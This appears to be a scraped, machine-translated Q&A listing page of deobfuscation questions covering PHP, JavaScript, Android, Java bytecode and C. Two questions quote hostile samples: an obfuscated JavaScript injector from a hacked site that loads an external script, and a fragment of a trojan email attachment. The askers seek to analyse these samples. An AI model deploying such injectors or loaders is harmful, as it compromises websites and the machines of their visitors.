我正在试图找出一种方法来编写一个能够对纯文本URL进行去混淆的函数.
像这样的东西:
<input type="hidden" value="kjgajkwe@#jktGAkjgWjkajskd" name="obsfucatedString" />
Run Code Online (Sandbox Code Playgroud)
然后在处理那个表格的时候我想要去除它:
$url = deObfuscate($_POST['obsfucatedString']);
so $url would become something like:
$url = 'http://domain.com/filename.zip';
Run Code Online (Sandbox Code Playgroud)
这样的事情甚至可能吗?
我试图隐藏普通程序员视线中的网址.
我想我还需要写一些能阻碍字符串的东西
所以
$obsfucatedStringURL = obsfucate('http://domain.com/filename.zip');
Run Code Online (Sandbox Code Playgroud) 我发现我的一个网站被黑了,经过调查,我查看了一个上传的javasript文件,由于疯狂的混淆,我无法相信它实际上有用.
我对它如此感兴趣,我需要知道它到底是怎么回事.如果有人能提供任何非常感谢的信息!另外,这将帮助我找到我服务器上其他隐藏的黑客文件!
以下是内容:
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+".\\"+$.__$+$.$$_+$.$$$+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+$.__+$.$$$_+"(\\\"<\\"+$.__$+$.$$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"\\"+$.$__+$.___+"\\"+$.__$+$.$$_+$._$$+"\\"+$.__$+$.$$_+$._$_+$.$$__+"=\\\\\\\"\\"+$.__$+$.$_$+$.___+$.__+$.__+"\\"+$.__$+$.$$_+$.___+"://"+$.$$_$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.__$+$.$$_+$._$$+"-\\"+$.__$+$.$$_+$._$$+$.$$$_+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$$_+$.$$_+$.$$$_+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.___+$._$+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"."+$.$$__+$._$+"\\"+$.__$+$.$_$+$.$_$+"/\\"+$.__$+$.$$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"\\"+$.__$+$.$$_+$._$$+"/"+$.__+"\\"+$.__$+$.$$_+$._$_+$.$_$_+"\\"+$.__$+$.$_$+$.$_$+$.$_$_+$.$$_$+$._$+(![]+"")[$._$_]+"/\\"+$.__$+$.$$_+$._$$+"\\"+$.__$+$.$_$+$.__$+$.$$_$+$.$$$_+$.$_$$+$.$_$_+"\\"+$.__$+$.$$_+$._$_+".\\"+$.__$+$.$_$+$._$_+"\\"+$.__$+$.$$_+$._$$+"\\\\\\\"></\\"+$.__$+$.$$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+">\\\");"+"\"")())();
Run Code Online (Sandbox Code Playgroud) 我使用DexGuard进行混淆.我有来自崩溃日志和映射文件的堆栈跟踪.当我运行时retrace.bat,给它堆栈跟踪和映射文件,输出仍然是混淆格式.
如果不最小化代码,这很容易。但是很难区分最小化和模糊化。我发现了这一点:http : //research.microsoft.com/pubs/148514/tr.pdf
如何检测缩小代码和混淆代码之间的区别?
javascript obfuscation classification abstract-syntax-tree deobfuscation
我收到一封垃圾邮件,其中包含一个带有.js文件的附件,出于好奇,我在记事本中打开了它(当然没有运行它).不得不暂时禁用ESET,因为它将此标记为木马.我想知道这实际上是做什么的:
autonomousRadio = eval(('transport', 'caste', 'acoustic', 'primitive', 'absurd', 'clip', '\u0074phenomenon'.e()) + 'h' + ('station', '\u0069program(me)'.e()) + 's');
autonomousRadio = autonomousRadio[('barbarian', '\u0041ruin'.e()) + 'ct' + ('state', 'prologue', 'accompany', 'orientation', 'chance', 'unison', '\u0069cyclone'.e()) + 've' + ('modify', 'instruction', 'perspective', '\u0058depot'.e()) + 'O' + ('intellect', 'guide', 'delegation', 'invalid', '\u0062order'.e()) + 'je' + ('pill', 'revue', 'compress', 'commerce', '\u0063sponsor'.e()) + 't'];
skeletonArcade = ('major', '\u0052discrete'.e()) + 'un';
function String.prototype.e(a) {
return this.charAt(a);
}
phaseMemorial = new autonomousRadio(('dogma', 'literature', '\u0057handicap'.e()) + 'S' + ('beach', 'reform', 'duplicate', …Run Code Online (Sandbox Code Playgroud) 我一直在寻找几个小时来混淆这个 facebook 脚本代码,尝试了一些程序但失败了,在几个论坛上问没有人知道。如果您认为自己是野兽并且可以做到,请试一试..谢谢:)
<div style="display:none"><script id="_waue6n">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('p b=["\\d\\f\\e\\h\\h","\\K\\f\\G\\A\\I\\H\\f\\v\\e\\i\\j\\d","\\k\\l\\v","\\m\\r\\d\\k","\\d\\l\\s\\t\\m\\g","\\l\\s\\c\\e\\g\\c\\y\\h\\c\\f\\c\\i\\g","\\e\\d\\w\\i\\l","\\d\\s\\l","\\k\\g\\g\\m\\L\\o\\o\\z\\t\\n\\j\\c\\g\\d\\u\\e\\f\\r\\i\\j\\u\\r\\d\\o\\d\\f\\e\\h\\h\\u\\B\\d","\\e\\m\\m\\c\\i\\n\\C\\k\\t\\h\\n","\\k\\c\\e\\n","\\j\\c\\g\\y\\h\\c\\f\\c\\i\\g\\d\\D\\w\\E\\e\\j\\F\\e\\f\\c"];p q=q||[];q[b[3]]([b[0],b[1],b[2]]);(J(){p a=x[b[5]](b[4]);a[b[6]]=M;a[b[7]]=b[8];x[b[N]](b[O])[0][b[9]](a)})();',51,51,'|||||||||||_0xea67|x65|x73|x61|x6D|x74|x6C|x6E|x67|x68|x63|x70|x64|x2F|var|_wau|x75|x72|x69|x2E|x76|x79|document|x45|x77|x7A|x6A|x43|x42|x54|x4E|x33|x66|x39|function|x30|x3A|true|11|10'.split('|'),0,{}))</script></div>
Run Code Online (Sandbox Code Playgroud) javascript obfuscation facebook deobfuscation facebook-javascript-sdk
0 !=这段代码做了什么:
#include <stdio.h>
int main()
{
int i;
for(i=0;i<8*5;i++)
printf("%d",0 != ("HELLO"[i/8] & 1 << (~i&7)) );
return 0;
}
Run Code Online (Sandbox Code Playgroud)
这是一个简单的字符串到二进制的转换。我理解,`("HELLO"[i/8] & 1 << (~i&7))但我无法理解该0 !=部分,如果我删除它,它就不起作用。
有没有深入教授按位运算的网站?
我正在使用Android Studio的持续版本,我已经通过ProGuard对我的项目进行了模糊处理.Android Studio
这样的内容Build.gradle:
buildTypes {
release {
minifyEnabled true
proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
}
}
Run Code Online (Sandbox Code Playgroud)
但是当启动构建项目时,会出现类似 错误的错误
警告图片:见警告
我怎样才能解决这个问题?
我一直在对 Java 应用程序进行逆向工程,并且偶然发现了一些有趣的东西。我发现的字节码似乎违反了规则,因为没有首先在构造函数中初始化超类。
我正在尝试弄清楚这怎么可能。这可能是Java编译器的正常行为,还是某种偷偷摸摸的混淆技术(注:值得一提的是,原始类名尚未被混淆器剥离,这表明混淆过程可能不是很彻底。因此,字节码结构不太可能是故意混淆的结果。)
任何人都可以提供一些关于生成这种非常规字节码的原始代码是什么样子的见解吗?我渴望了解并解开这个谜团。非常感谢!
这是字节码。
final class a/ka$a extends java/lang/Thread {
<ClassVersion=51>
<SourceFile=CLThreadPool.java>
private synthetic a.ka a;
public ka$a(a.ka arg0, java.lang.String arg1, boolean arg2) { // <init> //(La/ka;Ljava/lang/String;Z)V
<localVar:index=0 , name=this , desc=La/ka$a;, sig=null, start=L0, end=L4>
<localVar:index=2 , name=name , desc=Ljava/lang/String;, sig=null, start=L0, end=L4>
<localVar:index=3 , name=daemon , desc=Z, sig=null, start=L0, end=L4>
L0 {
aload 0 // reference to self
aload 1 // reference to arg0
putfield a/ka$a.a:a.ka
}
L1 {
aload 0 // reference to self
aload 1 …Run Code Online (Sandbox Code Playgroud) 不要问我在哪里以及为什么得到它,但我在.c文件中有很多这样的行:
0005080: 3465 3434 2035 6635 6620 2064 6c65 2e5f 4e44 5f5f dle._
0005090: 5f44 544f 525f 454e 445f 5f0a 3030 3031 _DTOR_END__.0001
00050a0: 3334 303a 2030 3035 6620 3566 3663 2036 340: 005f 5f6c 6
00050b0: 3936 3220 3633 3566 2036 3337 3320 3735 962 635f 6373 75
00050c0: 3566 2036 3936 6520 3639 3734 2020 2e5f 5f 696e 6974 ._
00050d0: 5f6c 6962 635f 6373 755f 696e 6974 0a30 _libc_csu_init.0
Run Code Online (Sandbox Code Playgroud)
我该怎么办?这是一个程序吗?
deobfuscation ×10
obfuscation ×7
javascript ×4
android ×2
c ×2
bytecode ×1
dexguard ×1
facebook ×1
java ×1
php ×1
security ×1
trojan ×1